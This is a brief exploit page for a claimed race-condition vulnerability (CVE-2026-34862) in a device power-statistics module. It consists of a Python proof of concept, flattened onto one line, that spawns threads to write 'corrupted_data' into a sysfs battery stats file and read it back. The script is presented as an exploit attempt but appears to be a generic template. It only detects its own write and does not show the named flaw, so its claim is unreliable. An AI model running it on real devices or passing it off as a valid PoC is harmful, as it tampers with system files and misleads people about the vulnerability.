CVE-2026-34862 功耗统计模块竞态条件漏洞

import threading import time # Simulating the vulnerable power statistics file path VULN_FILE_PATH = "/sys/class/power_supply/battery/stat" def malicious_write(): """Simulate a thread writing to the stats module""" try: while True: with open(VULN_FILE_PATH, 'r+') as f: # Simulate a race condition by writing without locking data = f.read() # Modify data to trigger inconsistency f.write("corrupted_data") time.sleep(0.001) except Exception as e: print(f"Write error: {e}") def malicious_read(): """Simulate a thread reading from the stats module""" try: while True: with open(VULN_FILE_PATH, 'r') as f: # Reading while the other thread writes data = f.read() if "corrupted" in data: print("[+] Race condition triggered, data corrupted!") break time.sleep(0.001) except Exception as e: print(f"Read error: {e}") if __name__ == "__main__": # Disclaimer: This code is for educational purposes only to demonstrate the concept of a race condition. print("[*] Starting PoC for CVE-2026-34862 (Race Condition)...") # Create threads to simulate concurrent access t1 = threading.Thread(target=malicious_write) t2 = threading.Thread(target=malicious_read) t1.start() t2.start() t1.join() t2.join() print("[*] Exploit attempt finished.")